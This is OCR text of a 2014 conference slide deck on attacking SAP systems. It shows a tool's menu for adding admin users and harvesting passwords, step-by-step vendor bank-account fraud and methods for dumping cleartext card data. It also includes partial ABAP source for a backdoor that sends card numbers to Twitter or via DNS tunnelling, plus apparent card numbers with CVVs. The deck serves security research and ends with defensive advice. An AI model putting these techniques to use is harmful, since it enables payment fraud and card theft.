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@MoneyTalks_666
Likes your SAP systems very very much

Want to know
how this happened?

Tweets

Money Talks
SAP SystemID HRP | CARD APPROVED | NAME: Florian

Vogler CARD MASTERCARD 5485 2878 9810 1189 CVV2
615 EXPIRATION 03/14

»
m
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"~ Money Talks
SAP SystemID P01 | CARD APPROVED | NAME: Lucas

Diederich CARD VISA 4716 0223 5767 9506 CVV2 411
EXPIRATION 02/15
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Part | - The Business Processes

The Background




SAP: The Dominating System

» SAP ERP is pretty much the B S T

) 100 Cc@O DHB DDL0 BE e —
o o o SAP Easy Access
dominating system which e R

D C] Cross-Applcation Components &)

translates the business processes T
to the digital world

|

D
P [ Logistics Execution
P [ Production
P [ Production - Process
P [ Plant Maintenance
P [ Customer Service
P [ Quality Management
P [ Logistics Controling
P [ Project System
P [ Global Trade Management
p O Compensation Management
P [ Agency Business
P [ Environment, Health and Safety
P [ Central Functions

< 3 Accounting
P
P
b
D
P
P
b
P
P
b
D
P
P

» Covers almost all aspects of
business

] Financial Accounting
[ Financial Supply Chain Management
O] Controling I%
[ Enterprise Controling
] Strategic Enterprise Management
[J Investment Management
] Project System
] Incentive and Commission Management
[ Real Estate Management .
] Flexible Real Estate Management _lIe
(] Regulatory Reporting for the Utilties Industry
] public Sector Management
] Bank Applications
< < Human Resources

@ Manager's Desktop

P [ personnel Management

P [ Tme Management

P [ payrol

N Flean | anpnins ol i

» Allows extensive customizations

» SAP is the core of major businesses

an|

U |Esnc P sapi4 ms
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Attacking the Core

» SAP systems are complex systems
» Numerous components

» Rarely hardened

»...or properly patched

» |t does not stop there...
—SAP applications contain 3rd party ABAP add-ons
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Attack Vectors
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How can it be attacked?
Example: BASIS Components

» [ESNC-2013-003] Remote OS Command Execution in SAP BASIS
Communication Services

—Allows OS command execution, with the rights of the SAP application server
—We reported this in 2011, it got patched in 2013 [SAP Note 1674132]
—SAP’s CVVS v2 base score for this vulnerability is 6.0 (Medium Risk)

» We were able to bypass the patch’s protection

—Second patch came a couple of months later [SAP Note 1826162]
—This time CVSS v2 score is: 7.5 (High Risk)

» Same vulnerability higher CVSS score
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How can it be attacked?
3rd Party Components

» [ESNC-2013-004] Remote
ABAP Code Injection in
OpenText/IXOS ECM for SAP
NetWeaver

—Widely used 3" party component for
archiving and document management.

—Vulnerability allows injecting ABAP
code to the SAP system.

Execute ABAP

Hostname /IP : erpOl.dc.enterp...
System Number : 40

Client Number :
Target System

Password :

Username :

SS02 Ticket :

ESNC Penetration Testing Suite v2.9 - Injection Toolkit for ABAP™

ACCOUNTANT

KX

Execution Method : User Name: HACKERO1

OpenText®/IX0OS ECM Password: | Welcome-01

redenﬁals Execution Options

Shell Code List

Code Editor: Add SAP_ALL User

(=) Group: Business
Extract HR Salary Data
Change Salary of Employee
Retrieve Customer Bank Accounts
Change Bank Account Number of Customer
Retrieve Vendor Bank Accounts
Change Bank Account Number of Vendor
List Top 20 Vendor Payments Due This Month
(=) Group: Business [PCI-DSS]
List Cardholders
Decrypt/List Credit Card Numbers
(=) Group: Remote Shell
Execute OS Command
Add Public Key to .ssh/authorized_keys
(=) Group: SAPGUI® Users
Start Collecting User Passwords
Stop Collecting User Passwords
Execute OS Command on All Users at Next Logon
Upload File to All User Workstations
Group: Source Code
(=) Group: Users
Add SAP_ALL User
Remove SAP_ALL User
List All Users
Retrieve User Hashes
Retrieve user Hashes - (short)
Create Logon Ticket for Username

PASSCODE (20) TYPE X,
USTYP (1) TYPE C,
PWDCHGDATE (8)
END OF USR_REC.

Please use TT_TABLE for data output, e.g OUTPUTDATA = "test’. append OUTPUTDATA to TT_TABLE.
CODVN (1) TYPE C,
GLTGV (8) TYPE D,
USR_TAB LIKE TABLE OF USR_REC.
HASH (20) TYPE C,

A
DATA: BEGIN OF USR_REC,
MANDT LIKE USROZ-MANDT,
BNAME LIKE USROZ2-BNAME,
BCODE LIKE USRO02-BCODE,
GLTGB (8) TYPE D,

TYPE D,

DATA:

DATA: USER(20) TYPE C,

| <]

Output

USER HACKERO1 WITH SAP_ALL[GOD] RIGHTS CREATED...

| 4
«
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What is a Business Process?

» Collection of related activities that produce a specific service or product
for customers

» Begins with a customer’s need and ends with a customer’s need
fulfillment.

» Commonly done using SAP systems

T R S R S
WA TR LU0 WY PUREY
[ e e

p

A

PR

Famous Example: The pin factory by Adam Smith
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Example: Attacking the Business Processes

Finding & Exploiting Vendors which Expect Money

» The attacker could directly go to vendor payment history for
determining the target bank accounts of vendors.

SAP Easy Access
(& ™ | & | &% Other menu || by 2 | v a | [§ createrole || ©7 Assign use

I (3 General Ledger
[ (3 Accounts Receivable
< &3 Accounts Payable
D (J Document Entry
I (J Document
P (3 Account
I (J Mmaster Records
> (3 Periodic Processing
' (J Reporting
b (3 withholding Tax
< &3 Information System

D (7 vendor Balances
< 3 vendors: Items

< &3 Reports for Accounts Payable Accounting

N s s s e ...

) S_ALR_87012078 -

Due Date Analysis for Open Itemsj

2 S_ALR_87012103

 S_ALR_87012083

2 S_ALR_87012084

) S_ALR_87012085

2 S_ALR_87012104

 S_ALR_87012105
D (3 Master Data

D 1 pavment Trancartinne

- List of Vendor Line Items

- List of Vendor Open Items for Printing

- Open Items - Vendor Due Date Foreca
- Vendor Payment History with OI Sorte:
- List of Cleared Vendor Items for Printin
- List of Down Payments Open On Key C

-~
w
el

S “evey — :
RSN Y > K ol P . Nt LY, N Y
NI .2 o [ o g o

h
.

v
{

Y S_ALR_8/7012083 - List of Vendor Open Items for Printing
@ S _ALR 87012084 - Open Items - Vendor Due Date Foreca

P ——————————————————————-————-—_———_—-——-—————-———-—————-—————-_——_—-_——_——_——_——_——_——_—_—-_——_——_-_——_——_——_—_-—_—-———-——-—--—-------

2 S_ALR_ 87012104 - List of Cleared Vendor Items for Printin
2 S_ALR_87012105 - List of Down Payments Open On Key C
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Determining Victim Bank Accounts

» Attacker can filter out uninteresting accounts and focus on ones where
the victim company will transfer more than 10.000 EUR

Vendor Appraisal with OI Sorted List
& )= Data Sources : |
Further selections
Vendor selection - E] Fiscal Period 16
Vendor account to =2 ] Balance < 10,000- to 2
Company code to ‘i| Absolute total commitments o =
Master Record Recon. Account to ?
Selection using search help ~ Line Item Reconciiation Acc to =
Search help ID Posting Date to ?
Search string Document Date to =
&  Search help | Net Due Date to E
v| Standard Documents
Reporting Time Frame ~ Tl _ I Noted Items
Fiscal Year 2012 to @
Output control .~
Line item selection OI sorted list sorting (1,2) 1
Open items at key date 14.12.2012 Summarization level (0-4) 0
01 list summarization (0-2) 1
Further selections ~ _| Corporate Group Version
Fiscal Period 16 - Company Code Data 0
Balance to |i| v Only Master Acts w/ Open Items
Absolute total commitments to | & | _I Net due date sorted list
Master Record Recon. Account to |?| E]
- e | - [+]
K1j0| I |[«][»]
D OVR <5 | ,
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Determining Victim Bank Accounts

» Attacker can pick the largest sum
which will be paid

» Attacker can also check whenthe G s . CQ@ DHNB OOOD
tra nsfer W| ” be dOne Vendor Appraisal with OI Sorted List
} NOW Only One Step iS IEft fOr the Vendor Appraisal with OI Sorted List
re S U It Section
Label 1 Contentl Name 2 Content li
—Replacing the bank account of the Vendor .
with the attacker’s bank account pdrese ) F
Commitmts (LC Amountj
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Changing the Bank Accounts

» Attacker runs the transaction FKO2 and searches victim vendor

» Attacker replaces the account number of the vendor with evil one

» When the payment time comes, sum is transferred to the attacker’s account

5 A G

CQ@ LY NDoD BE @@

Change Vendor: Payment transactions

& | o2 B dH A o HE D
Change Vendor: Initial Screen
Vendor |
Company Code ; -
| ' Vendors (General) ¢ Vendors by Country/Company Code ||, (<} *] %)
General data T
| Address AL A= =TS -3
e | SearchTerm “ PostalC_ City ‘Name 1 ‘Vend
ontro MASTERCARD PRATTVILLE MASTERCARD 11111 |[4]
v Payment transactiong| MeCH 1234 LONDON K.F.W. LONDON 1235 |+
= MECH 13403 BERLIN K.F.W. BERLIN 1234
Contact person MEIER L 11588  BERLIN MEIER LOGISTICS GMBH 75
] ENA AL ABD 6707 |
MENA AL ARABI TRADING 6751
MENA AL EZ ROLLING 6708 |1
MENA AL JAZEERA MATERIALS 6752 |5
[4][»]| I [d[»]

@ &
Vendor T '
Change Vendor: Payment transactions
Bank Details -
Ctry|Bank Key Bank Account Acct hg

DE 60010070

S

ajn|

|

‘ Bank Data... H; Delete Bank Detail‘ IBAN‘ ]

= Bank Details -
| | |Ctry/Bank Key Bank Account 2
DE [0000666 000000666

PN EBEEPrLrDRBBBERSBBEEEBE®E::BBEB®E@BEE=E=SB>EE>E>—=EHB®———@BO@HE@——————b—b—S———.—_..—,—G©O——B—E_E——==€E_ECE®®———€©=@@O@HE—b@h@————————w—h—h—=—_—_,, 3
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End of Chapter |

» For the second part of the presentation, we assume that the attacker
has sufficient authorizations for executing any action mentioned later.
—By exploiting vulnerabilities
—Collusion
—Existing rights

» So, system is compromised. But where else can the attacker go from
there?

» Before that, let’s talk about credit cards and the birds...

SAP, Credit Cards and the Bird that Talks Too Much © ESNC GmbH - All rights Reserved. Ertunga Arsal - BlackHat Asia 2014 16



Part Il - SAP Credit Cards and Birds

Bank Name

4

1234 57?4 HAYL Ey3-

1234

MONTH/YEAR
neo> L2 /9

CARDHOLDER

E

Credit Card Processing on SAP



Credit Card Processing on SAP

» Sales and Distribution (SD) and many SAP modules utilize payment card processing

—Customer orders

—Retail point of sale (POS)
—Financial accounting
—Internet commerce

—HR - travel expenses

» The cardholder data passes through SAP system and it is stored on the system on
many occasions
—Data tables

—Change documents
—Transaction logs

—DB logs
» Only few external solutions use tokenizing and and external portals, outside SAP
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Credit Card Data

DB Tables

» During our research, we found more than 50 SAP database tables
which contain e.g. credit card numbers

» The used tables differ based on which modules and functionalities
are used/activated on the customer

» Some common SAP tables are:
]

FPLTC Payment cards: Transaction data - SD

BSEGC Document - Data on Payment Card Payments

VCKUN Assign customer-credit card

VCNUM Credit card master

Pa0105 (Subtype 0011) HR Master Record: Infotype 0011 (Ext.Bank Transfers)

PCA_SECURITY_RAW Card Master: Encryption

CCSEC_ENC, CCSEC_ENCV Encrypted Payment Card Data

CCARDEC Encrypted Payment Card Data

/PMPAY/PENCRP Paymetric — Encrypted Paymetric Card Data (for offline usage, now obsolete)
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Accessing Cleartext Cardholder Information

» Type SE16 at the command bar of

SAPGUI after you logon, hit Enter.
—Type the table which you want to display and

press Enter.
*E.g. FPLTC

» Enter your criteria (empty == all)

» Copy paste the data as desired to your

favorite PasteBin

Recipe

& | seidl A H IS¢

SAP Easy Access
(= b\ ga Other menu \ 5]

Data Browser: Table FPLTC: Selection Scre«
@ Q?? lg- Number of Entries

Biling plan no |

Item I

Card type

Card number
Suffix

Valid from
Exp.date
Cardholder
Entry mode
Authorized amt
Currency
Settled
Auth.no.
Auth.refer.code

T — B

Table Edit Goto Settings Utilities System Help

& | e TREN Y- IR

Data Browser: Initial Screen

O O

Table Name FPLTC

S G Q] checkTable... B EH & F ¥ & | @ |

[Ecl.  |Bil.plan Item|Type |Card number

| ||800/=| 0000000595 1|VISA |4485407772890862
| ||800 |0000000595 | 900001 |VISA |4485407772890862
| |800 |0000000605 1/MC  |5448010021644016
| |800 |0000000605 | 900001 MC |5448010021644016
. ||800 0000000620 1|VISA |4716344821768818
. |/800 0000000622 1|VISA |4716344821768818
| |800 |0000000623 1|VISA |(4716344821768818
| |800 |0000000624 1|VISA (4716344821768818
| ||800 |0000000624 | 900001 |VISA |4716344821768818
| 800 |0000000625 1|VISA |4716344821768818
| |800 |0000000625 | 900001 VISA |4716344821768818
| ||800 0000000626 1|VISA |4716344821768818
| ||800 |0000000626 | 900001 |VISA |4716344821768818
| |800 |0000000628 1|VISA |4200001230000000
| |800 |0000000628 | 900001 |VISA |4200001230000000
| 800 |0000000629 1|VISA |4200001230000000
| |800 |0000000629 | 900001 VISA |4200001230000000
. |800 0000000630 1|VISA |4200001230000000
Cllenn  IannnnNNA2N annnnit IvTca 42nnnni22annnnnnn

SAP, Credit Cards and the Bird that Talks Too Much
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Accessing Cleartext Cardholder Information

Using Remote Function Calls

» RFC (Remote Function Call) protocol can be utilized to script the access
and to run the functions remotely

» SOAP-RFC over HTTP allows Internet based access to RFC functionality.

» RFC READ TABLE function allows generic access to contents of the
tables

» Sapsucker could be used for it? Sapsucker

The sapsuckers are four species of North American
woodpeckers in the genus Sphyrapicus. Wikipedia

Scientific name: Sphyrapicus

Rank: Genus
Higher classification: Picinae

Lower classifications: Red-breasted Sapsucker, Williamson's
Sapsucker, Yellow-bellied Sapsucker, Red-naped Sapsucker

source: Wikipedia

SAP, Credit Cards and the Bird that Talks Too Much © ESNC GmbH - All rights Reserved. Ertunga Arsal - BlackHat Asia 2014
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Free Tool? -

» Named after the famous bird

» Allows easy access to SAP tables via
RFC and HTTP(s) protocols

» Allows reusing XSSed SAP logon
cookies for RFC connections

» SNC (Secure network
communications) supported

» SAP router supported

» Easily extract and filter sensitive data

Sapsucker

O v ESNC Penetration Testing Suite - SAPSUCKER — = X
! |
. Table Retrieval Settings and Data
~ Import From SAPGUI . User Name: ESMC Server: 7.7.72.14
| G - r el 5502 Ticket - O
= RFC Password: ARISIRERIIO Sysnr/Port: 0o
SAP Router: Retrieve Table
&) RFC over HTTP — Client Number: 300 Language: EN ourer
Connection Information
C} H ~  Table Information
. | Table Mame: FPLTC Description: Payment cards: Transaction data - SD
Description Table ‘

, Payment cards: i Table Fields: Marked  Field Name Description “ Mark Al
Transaction data - SD \/ CCNUM Payment cards: Card number - < al
Document - Data on = . . nmar
Payment Card BSEGC CCFOL Payment cards: Payment card suffix
Payments DATAB Payment cards: Yalid from
Assign YCKLIN L] DATBI Payment Cards: Valid To Clear
customer-cr v CCNAME Payment cards: Name of cardholder @ . eld
Credit card i = .n Retrieve Fields

CSOUR Payment cards: Entry mode v | |
HR Master R ¢
Ext.Bank Tra
Card Master;
Encryption [ S8 5 =S @22
Encrypted P: :
Card Data umns Fit Data to Yiew | Display Field Descriptions | Export to CSY Export ko Excel
Encrypted P: F
Card Data 2 FPLTC -
E“CEV[l;tfd '3’* dlan number /... Payment card... Payment cards: Card number  Payment cards: Mame o... Currenc..
ard Data ~
0595 VISA 4435407772390862 George Nelligen s
User master .
| 0595 VISA 4485407772890862 George MNelligen JsD
Encrypted P: .
Card Data 2 J0s0s MC 5448010021644016 Martin Schiller
HR Salary In 0605 MC 5448010021644016 Martin Schiller EUR
User profiles 30620 VISA 4716344821768518 Horst Meier EUR
J0e22 VISA 4716344521768818 Horst Meier EUR
a00 0000000623 VISA 4716344521768818 Horst Meier EUR
a00 0000000624 VISA 4716344521768818 Horst Meier EUR -
The table 'FPLTC' is successfully retrieved. Retrieved row count: 938 v  00:00:03

SAP, Credit Cards and the Bird that Talks Too Much
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Decrypting Encrypted Credit Card Numbers

» Due to PCI-DSS requirements, cardholder & . @@ @ 8 0 | © debuogng
data must be encrypted.

—Tables e.g. PCA SECURITY RAW, CCSEC ENC,
CCSEC ENCV, CCARDEC, /PMPAY/PENCRP
contain encrypted data (if encryption is enabled)

» Program RS REPATR SOURCE spawns

Program RS REPAIR SOURCE

Program dit Goto System elp
& S R CAQ DE anoa BEE

a CO d e e d ito r Program EC_REPAIR SOURCE _CODE
@
—An attacker could use it to type malicious ABAP code, [omae ——
even on production systems 5 :

SAP, Credit Cards and the Bird that Talks Too Much © ESNC GmbH - All rights Reserved. Ertunga Arsal - BlackHat Asia 2014 23



Are we the only ones?

» The data can be decrypted via
function modules

w COmmunity Network n Welcome, Guest Login Register

Products Services & Support About SCN Downloads
C C AR D D E VE L O P E O r Industries Training & Education Partnership Developer Cen
— ' Lines of Business University Alliances Events & Webinars Innovation

CCSECA CCNUM DECRYPTION

—the RFC /PMPAY/P ENCRYP RFC or
XT PAY_E 4_C RYPTO for Paym etric 2 Replies Latest reply: Aug 30, 2011 5:09 AM by jayasunder reddy £}

More discussions in [El ABAP Development °

Share " Share # Tweet K Share

» People are already doing this!

. . . jayasunder reddy Aug 29, 2011 8:17 PM
—and they are sharing their experiences

“% | DECRYPTION multiple credit cards

This question is Not Answered.

Hi Experts,

| am using CCSECA_CCNUM_DECRYPTION function module to decrypting card number inside
Loop for to see full credit card number . It takes so much time.Any Function module for decrypting

multiple card numbers at a time. It is very urgent.
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External Vendors for Payment Solutions

» |t is common to see external solutions for securing CC :::paymetrid

data
@ XiSECURE & XiPAY

—Paymetric XiPay-XiSecure (cool tokenizing stuff) and others such as

GMAPay, PaylinX, DelegoSecure, Princeton CardConnect to name a m(anI\nllmAi
few... | = ;
. o €) PaylinX:
» Secure (assuming) payment solution + insecure SAP N -

system equals to ? CyberSource”

» Most common solutions use “registered RFC servers”
'ﬂ, HE L s R

for SAP connectivity
m PRINCETON
PAYMENT
SOLUTIONS

SAP, Credit Cards and the Bird that Talks Too Much © ESNC GmbH - All rights Reserved. Ertunga Arsal - BlackHat Asia 2014 26



Standard Concept

Q SAP system can
send requests to
/ \ PCl Server over

Merchant/Bank cc_auTHorizaTion | SAP Syste M the gateway via
CC SETTLEMENT RFC protocol

AccessESHIE pAY.PO1 \

T

W
- —

Reginfo ACL
defines who can
register a server or
connect to a
registered server

Gateway
Service

PCl Server

Payment Card Interface Server oy
Q registers itself on SAP Gateway @%%
and accepts connections ",

External programs can send

Q requests to PCI Server over
the gateway via RFC

protocol

External Payment Card

Interface Connectivity
- with registered RFC Servers

—
—

B >UNOYPOO00000)

)
—~ AN
SOUR
UTWR
C Az"‘._ E
el TL
L A

—

-
o

SAP, Credit Cards and the Bird that Talks Too Much © ESNC GmbH - All rights Reserved. Ertunga Arsal - BlackHat Asia 2014 27



External Payment Card Interface Connectivity

Standard Concept - Common Security Issues

» Customer does not configure ACL
» ACL can be bypassed (missing SAP kernel patch)

» Customer uses SAP’s tool to generate the access control list
—SAP’s reginfo ACL generator creates access lists with ACCESS=*

—SAP does not acknowledge this as a security issue

» Predictable TP names of payment processors

—enabling unauthenticated attacks

SAP, Credit Cards and the Bird that Talks Too Much © ESNC GmbH - All rights Reserved. Ertunga Arsal - BlackHat Asia 2014 28



External Payment Card Interface Connectivity
With registered RFC Servers - Attacks

Merchant/ cc_AuTHorizaTion [ SAP System

CC_SETTLEMENT

Bank

PCl Server

Payment Card Interface Server
Q registers itself on SAP Gateway
and accepts connections

ov. C:\Windows \system32\cmd.exe

Z =120

Y o> T A0~

anrelloininltarelolirie

e rAaliyininininln
=< T T MAON<

S
0
P
W
\
vV
A
\
\
B
D
A
F
F /
L
B

RROAT<O<—00>0

maoHyr»>
(NI

Q SAP system sends requests to
\ PCI Server over the gateway

a

Reginfo ACL defines who can
Gateway _Z register a server or connect to a

TP T Service registered server

Evil external programs can MITM:An attacker can

send requests to PCI Server pretend to be PCl server by
_ . ° -
over the gateway via RFC V12444854077 75890885 registering with the same TP

G 2448010021644016 B D to sniff CC information or
protocoltoexractcc (WL QR © o o117 CC ormation o
information VISA4716344821768818 £ O tric € system tha
VISA4716344821768818 EU :
VISA4716344821768818 il payment is complete
A4716344821768818 £l

SAP, Credit Cards and the Bird that Talks Too Much
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Further Security Issues

» Modern solutions that use e.g. SAP Pl (process integration) are often
misconfigured with fatal flaws

» Debugging or system tracing is not switched off.
» SNC (transport encryption) is rarely used between PCl and SAP system

» Redirecting e.g. SAP web shop users to an external provider (before
payment) to avoid being in the PCI-DSS scope is the new trend

—Tokenizing on its own is not sufficient. The SAP system must also be hardened.

» PCI-DSS auditors generally have little or no knowledge about SAP
security.
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External Payment Card Interface Connectivity
Standard Concept - Resulting in

» Man-in-the-middle attack for CC SETTLEMENT and
CC AUTHORIZATION functions

» Credit card data theft

» Fake transaction authorization

—SAP system can be fooled that transaction is complete and it can deliver the goods

» Foreseeable consequences

—brand damage, legal consequences etc.

» And some unforeseeable consequences...

SAP, Credit Cards and the Bird that Talks Too Much © ESNC GmbH - All rights Reserved. Ertunga Arsal - BlackHat Asia 2014 31



or Something More Entertaining

— — —— - —

Follow Me on

Twitter




Connecting SAP to Social Media

» I've heard at many conferences that SAP should be more social networking
enabled, so let’s do it!

» Tampering the payment card interface functions is possible
—e.g. SD CCARD AUTH CALL RFC could allow capturing credit card numbers real-time

*Including validation status, card validation code cvv2 (called cvc2 for mastercard, same thing)

» Introducing TweetBtttM

51 T_CCAUT_IN = T_CC_IN
52! T_CCAUT OUT = T_CC_OUT
T_CCAUT HEADERS = T CC H
—THE FIRST SAP CREDIT CARD TO TWITTER INTERFACE
55! EXCEPTIONS
COMMUNICATION FAILURE = 1
. . 57; SYSTEM_FAILURE ‘
—Allows SAP system to tweet after a credit card transaction | o,
50) | * START OF BACKDOOR CODE - INIT
R . h . SAP’ d ,d I 51) | CONSTANTS: BD_NIX_TICKSTART TYPE d VALUE '19700101'. "Unix b.day
—_ 52p | DATA: BD TWT_CLIENT TYPE REF TO if } lient.
eqUIres patc Ing 5 CO el VOIGS Warranty' 3 ) DATA: BD_DNS_TUNNEL BASE_DOMAIN iyEgmc;;:;s:e?;-_m s A
4 BD_DNS_TUNNEL HOSTNAME TYPE CHAR140.
. 5Sp |  DATA: BD CONSUMER SECRET TYPE CHAR128 VALUE ' 4DproT{E:cx
.Th at ShOUId be the IeaSt Of your WO rrles 6 BD_CONSUMER_KEY TYPE CHAR64 VALUE 'FsXxTxYz3vijl '
57 BD SECRET KEY TYPE CHAR12S.
:) DATA: BD OAUTH URL TYPE CHAR32 VALUE '/oauth/request token',
. . . 2o BD OAUTH TOKEN TYPE CHAR128 VALUE '1269732760( NG 0w
—Fallback to DNS tunneling when Twitter is unreachable RD_OMITH_TOREN_SECRET TvPE CHARAZe VALTE o
71y | DATA: BD_TWITTER STATUS TYEE CHAR140
Scope \FUNCTION SD_CCARD_AUTH_CALL_RFC\IF ABAP
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TweetBtttM™ Challenges

» Twitter changed its API this year so HTTP is not allowed anymore
—Good side: PCI-DSS compliant backdoor

*BtttM = Bird that
talks too Much

—Requires importing Twitter’s cert via transaction STRUST

*Workaround by invoking SAPGENPSE

—Delays: 1-3 seconds per tweet

» DNS tunnel fallback when outbound

connection is blocked

—Function module RFC HOST TO IPis
(mis)used as a poor man’s DNS tunnel on

ABAP
» Public source code?

—Still in discussions with the legal guys. Follow

me on twitter to stay informed :)

' >

o Lo ] ™Yy N B W l-;;‘l I-“ “l a%‘. I.ill .I I:-n‘v
T

T _CCAUT IN = T_CC_IN
T _CCAUT OUT = T_CC_OUT
T CCAUT HEADERS = T CC H
T CCAUT ITEMS = T CC I
EXCEPTIONS
COMMUNICATION FAILURE =
SYSTEM FAILURE =
OTHERS =

CONSTANTS: BD NIX TICKSTART TYPE d VALUE '19700101°'.
DATA: BD TWT CLIENT TYPE REF TO if http client.

DATA: BD DNS_TUNNEL BASE DOMAIN TYPE CHAR64 VALUE '[N - cc='

BD DNS TUNNEL HOSTNAME TYPE CHAR140.
DATA: BD CONSUMER SECRET TYPE CHAR128 VALUE '4DpFgl
BD CONSUMER KEY TYPE CHAR64 VALUE '"FsXxTxYz3"

BD SECRET KEY TYPE CHAR1ZS.
DATA: BD OAUTH URL TYPE CHAR32 VALUE '/oauth/regquest token',
BD OAUTH TOKEN TYPE CHAR128 VALUE '196973276&C

BD OAUTH TOKEN SECRET TYPE CHAR128 VALUE 'XOw
DATA: BD TWITTER STATUS TYPE CHAR140

Scope \FUNCTION SD_CCARD_AUTH_CALL_RFC\IF ABAP
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Money Talks

@MoneyTalks_666
Likes your SAP systems very very much

24 0 1 A~ Y Follow

Tweets

Money Talks

SAP SystemID HRP | CARD APPROVED | NAME: Florian Vogler
CARD MASTERCARD 5485 2878 9810 1189 CVV2 615 EXPIRATION
03/14

Follow Me on

Twitter

Money Talks

SAP SystemID P01 | CARD APPROVED | NAME: Lucas Diederich
CARD VISA 4716 0223 5767 9506 CVV2 411 EXPIRATION 02/15

Money Talks
SAP SystemID P01 | CARD DECLINED | NAME: Helena J. Andreasen
CARD VISA 4532 9003 9447 2757 CVV2 139 EXPIRATION 10/14

Money Talks
SAP SystemID P01 | CARD APPROVED | NAME: Anna P. Kjeldsen

MADM AMMACTCDODMAADMN EA AN QT7TNAND DAQ AN AAAIN 774 EVDIDATIANM

TTTSSSS——

SAP, Credit Cards and the Bird that Talks Too Much © ESNC GmbH - All rights Reserved. Ertunga Arsal - BlackHat Asia 2014 35






No.1l: Address The Complete Picture

User

Authentication  , .t o rizations

Default Users with
Passwords Critical Rights

Weak Mandant
Passwords Jumping

SSO —
Hackable
Keystores

SoD Bypass
via 2+ Users

ABAP Code SAP System
Security Security

Missing for

Vulns in SAP’s Gateway and
Code Message

Server ACLs

Vulns in 3™
Party Add-
ons

Vulnerable
SAP Services

Missing SAP
Kernel &
System
Patches

Vulns in
Customer’s
Code

Database
Security

Direct Access
to Tables

Listener/
Connection
Security

Operating
System
Security

Os Vulns

SID Jumping

Vulnerable
3 Party
Services
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No.2: Implement a Holistic Process to Stay Secure

Prevention Detection

e VVulnerability e Real-time security
Discovery monitoring

e Automatic Issue e SAP event
Fixing correlation

Response

e Automatic Threat Mitigation

e Automatic Firewall Rule
Creation

SAP, Credit Cards and the Bird that Talks Too Much
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No.3: Automate It

» Automated SAP security scans

» Automated SAP PCI-DSS compliance checks
» Automated ABAP code corrections

» Automated SAP real-time monitoring

» Automated SAP event correlation

» Automated continuous integration into Security Incident Event
Management - SIEM

» Automated SAP vulnerability/issue fixing (remediation)

» Automated SAP intrusion detection, prevention and alerting
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ESNC GmbH

» ESNC assesses and fixes security vulnerabilities in SAP systems

—ESNC Security Suite: Pentesting, real-time SAP security monitoring and automatic vulnerability
mitigation

» Headquarters in Munich

» Customer base: Governmental institutions, banking, utilities,
automative, oil and other critical industries

» Presenter: Ertunga Arsal

—Security researcher with long history and focus on SAP

—Audited hundreds of corporate and government enterprise SAP systems to date
—Credited by SAP for 75 security patches in 2013 (over 100 vulnerabilities in total)
—Lecturer “Systems and Network Security” at Sabanci University for postgraduates
—Speaker at CCC annual congress, Defcon Hashdays, Deepsec, Sec-T etc...
—Founder of ESNC
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The Menu of SAP Security

» AO1 - SAP Audit & Assessment

» AO2 - SAP PCI DSS 3.0 Compliance

» AO3 - SAP Remediation and Risk Management

» AO4 - Security Policy Enforcement on SAP systems

» AO5 - SAP Penetration Testing

» CO1 - ABAP Code Security Assessment & Correction
» RO1 - SAP Real-Time Monitoring & IDP

» RO2 - SAP SIEM Integration
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Thank you

» And many thanks to

—Eric Bushman <ebushman@paymetric.com> from Paymetric for the good input

—and my team

This document contains references to products of SAP AG. SAP, ABAP, SAPGUI and other named SAP products and associated logos are brand names or registered trademarks of SAP AG in Germany and other countries in
the world. HP is a registered trademark of Hewlett-Packard Company. Oracle and Java are registered trademarks of Oracle and/or its affiliates. All other trademarks are the property of their respective owners.

This document is for educational purposes. It does not come with any warranty or guarantee. ESNC GmbH is not responsible of any misuse of the content.

This document or parts of this document is not allowed to be distributed without ESNC’s written permission.

SAP, Credit Cards and the Bird that Talks Too Much © ESNC GmbH - All rights Reserved. Ertunga Arsal - BlackHat Asia 2014 43


mailto:ebushman@paymetric.com

Ertunga Arsal Brad Wilkinson
Email: ertunga@esnc.de Email: brad@esnc.de



mailto:ertunga@esnc.de?subject=
mailto:brad@esnc.de

